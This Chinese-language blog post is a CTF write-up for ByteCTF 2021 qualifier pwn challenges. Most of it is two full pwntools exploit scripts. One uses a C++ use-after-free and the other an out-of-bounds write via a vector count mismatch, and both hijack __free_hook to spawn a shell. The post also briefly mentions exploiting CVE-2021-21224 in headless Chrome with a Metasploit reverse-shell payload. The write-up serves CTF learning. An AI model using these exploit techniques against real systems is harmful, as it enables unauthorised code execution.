[ByteCTF 2021 Quals] Pwn方向几个题解

赤道企鹅

发布于 2022-08-01 14:13:39

3130

发布于 2022-08-01 14:13:39

文章被收录于专栏：赤道企鹅的博客

bytezoom

C++下的堆利用，对于有C++基础的人来说应该很快看出要点在于错误的使用了shared_ptr的裸指针，形成悬挂指针，进而UAF

EXP：

from pwn import *
import time

#p = process("./bytezoom", env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("39.105.37.172", 30012)
libc = ELF("./libc-2.31.so")
context.log_level = "debug"


def create(_type, idx:int, name, age:bytes):
    p.sendlineafter(b"choice:\n", b"1")
    p.sendlineafter(b"cat or dog?\n", _type)
    p.sendlineafter(b"input index:\n", str(idx).encode())
    p.sendlineafter(b"name:\n", name)
    p.sendlineafter(b"age:\n", age)
    
def show_message(_type, idx):
    p.sendlineafter(b"choice:\n", b"2")
    p.sendlineafter(b"cat or dog?\n", _type)
    p.sendlineafter(b"input index:\n", str(idx).encode())
    
def into_manager():
    p.sendlineafter(b"choice:\n", b"3")
    
def quit_manager():
    p.sendlineafter(b"choice:\n", b"4")
    
def manage_select(_type, idx):
    p.sendlineafter(b"choice:\n", b"1")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"input " + _type + b"'s index:\n", str(idx).encode())
    
def change_age(_type, add_years):
    p.sendlineafter(b"choice:\n", b"2")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"you want to add\n", add_years)
    
def change_name(_type, new_name):
    p.sendlineafter(b"choice:\n", b"3")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"please input new name:\n", new_name)

# base: 0x0000555555554000
# base: 0x0000555555554000+0x12340  cat list
# base: 0x0000555555554000+0x12380  dog list
# selected: 0x0000555555554000+0x122E0

def exp():
    # leak libc
    create(b"dog", 0, b"a"*8, b"1")
    into_manager()
    manage_select(b"dog", 0)
    quit_manager()
    create(b"dog", 0, b"b"*8, b"1") # free prev
    create(b"cat", 0, b"c"*8, b"1") # selected
    create(b"cat", 1, b"x"*0x400, b"1") 
    into_manager()
    #gdb.attach(p)
    #pause()
    change_age(b"dog", b"889")
    change_age(b"dog", b"1279")
    quit_manager()
    show_message(b"cat", 0)
    p.recvuntil(b"name:")
    libc_leak = u64(p.recv(8))
    libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))
    
    # attack free_hook
    ## create 0x20 bin
    create(b"cat", 2, b"d"*0x50, b"1") 
    create(b"cat", 3, b"d"*0x50, b"1") 
    create(b"cat", 2, b"d"*0x30, b"1")
    create(b"cat", 3, b"d"*0x30, b"1") 
    into_manager()
    change_age(b"dog", b"160")
    manage_select(b"cat", 0)
    change_name(b"cat", p64(free_hook))
    quit_manager()
    ## get chunk at free_hook
    create(b"cat", 4, b"/bin/sh\x00"*(0x50//8), b"1") 
    create(b"cat", 5, p64(system)*(0x50//8), b"1") 
    print("free_hook:", hex(free_hook))
    ## get shell
    create(b"cat", 4, b"t"*0x100, b"1") 
    
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

chatroom

混了个一血

headless chrome，用CVE-2021-21224打，最好用msf自身的反弹shell payload， shell_reverse_tcp 这个payload究极不稳定，连上就断

ByteCSMS

思路：

同样是涉及C++数据结构的pwn，问题出在Vector内部和外部用户自定义的计数方式可能出现不匹配的情况：Vector内部通过指针差值右移4位（除0x10，即元素大小）来计算元素个数；而外部则通过一个全局变量（total）保存元素个数；当用户使用name作为索引删除元素时会一次性删除所有name相同的元素，而外部变量只递减了1，这样可以构造total远大于(ptr2-ptr1)>>4
构造方式：add很多次name为/bin/sh的元素，致使Vector过大而存放在mmap出来的内存段，从而与libc有固定偏移；通过upload保存此时的Vector；通过name索引的方式remove掉name为/bin/sh的元素，再通过download把这样元素添加回来，以此往复可以将total的值增加非常大；由于通过index索引方式edit元素时，检查范围的最大边界是由total标定的，这就使得用户可以越界读写；
估计好越界位置读出libc某个rw段上的指针，计算出libc基址（这一步只是泄露所以要注意好恢复原本的值）；然后同样估计好__free_hook的位置用edit写上system地址；最后一步upload剩余的元素，使得存放upload元素的Vector发生realloc，free掉原来的堆块，将堆块头部的/bin/sh作为参数执行system("/bin/sh")

EXP：

from pwn import *

#p = remote("39.105.63.142", 30011)
p = remote("39.105.37.172", 30011)
libc = ELF("./libc-2.31.so.6")

context.log_level = "debug"

def add(name, score:int):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Enter the ctfer's name:\n", name)
    p.sendlineafter(b"Enter the ctfer's scores\n", str(score).encode())
    p.sendlineafter(b"enter the other to return\n", b"123")
    
def edit(n_or_i, new_name, new_score, way:str):
    p.sendlineafter(b"> ", b"3")
    p.recvuntil(b"2.Edit by index\n")
    if way == "name":
        p.sendline(b"1")
        p.sendline(n_or_i)
    elif way == "index":
        p.sendline(b"2")
        p.sendline(str(n_or_i).encode())
    else:
        return
    p.sendlineafter(b"Enter the new name:\n", new_name)
    p.sendlineafter(b"Enter the new score:\n", str(new_score).encode())
    
def remove(n_or_i, way:str):
    p.sendlineafter(b"> ", b"2")
    p.recvuntil(b"2.Remove by index\n")
    if way == "name":
        p.sendline(b"1")
        p.sendlineafter(b"to be deleted\n", n_or_i)
    elif way == "index":
        p.sendline(b"2")
        p.sendlineafter(b"Index?\n", str(n_or_i).encode())
    else:
        return
        
def upload():
    p.sendlineafter(b"> ", b"4")
        
def download():
    p.sendlineafter(b"> ", b"5")

# manager: 0x00007fffffffdbd0
# total: 0x0000555555607280
# base: 0x0000555555400000

def exp():
    p.sendlineafter(b"Password for admin:\n", b"\x00")
    while True:
        if p.recv(9) == b"Incorrect":
            p.sendlineafter(b"Password for admin:\n", b"\x00")
        else:
            break
    # leak addr
    add(b"/bin/sh", 100)
    add(b"/bin/sh", 100)
    for i in range(0x1000-2):
        add(b"/bin/sh", 100)
    upload()
    edit(0, b"aaaa", 100, "index")
    edit(1, b"aaaa", 100, "index")
    add(b"/bin/sh", 100)
    add(b"/bin/sh", 100)
    for i in range(90):
        remove(b"/bin/sh", "name")
        download()
    ## 358659 220931
    ## get addr
    p.sendlineafter(b"> ", b"3")
    p.recvuntil(b"2.Edit by index\n")
    p.sendline(b"2")
    #gdb.attach(p)
    #pause()
    p.sendlineafter(b"Index?\n", b"220931")
    #p.recv(0x30-2)
    p.recvuntil(b"220931\x09")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    #libc_base = libc_leak - 0x18b110
    libc_base = libc_leak - 0x18b2a0
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))
    #fix_addr = libc_base + 0x18ea70
    fix_addr = libc_base + 0x18ec00
    #gdb.attach(p)
    #pause()  
    p.sendlineafter(b"Enter the new name:\n", p64(libc_leak)+p64(fix_addr)[0:4])
    p.sendlineafter(b"Enter the new score:\n", str(u32(p64(fix_addr)[4:])).encode())
    #gdb.attach(p)
    #pause()
    
    # rewrite _free_hook
    ## 359601 221873
    #gdb.attach(p, "b *0x0000555555400000+0x1b9b\nc\n")
    edit(221873, p64(0)+p64(system)[0:4], u32(p64(system)[4:]), "index")
    print("free_hook:", hex(free_hook))
    #gdb.attach(p)
    #pause()
    
    ## get shell
    edit(0, b"/bin/sh", 100, "index")
    #gdb.attach(p, "b *0x0000555555400000+0x12dc\nc\n")
    remove(b"/bin/sh", "name")
    upload()
    print("free_hook:", hex(free_hook))
        
    p.sendline(b"cat flag;cat flag;cat flag;")
    p.interactive()

if __name__ == "__main__":
    exp()

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原始发表：2021-10-31，如有侵权请联系 cloudcommunity@tencent.com 删除

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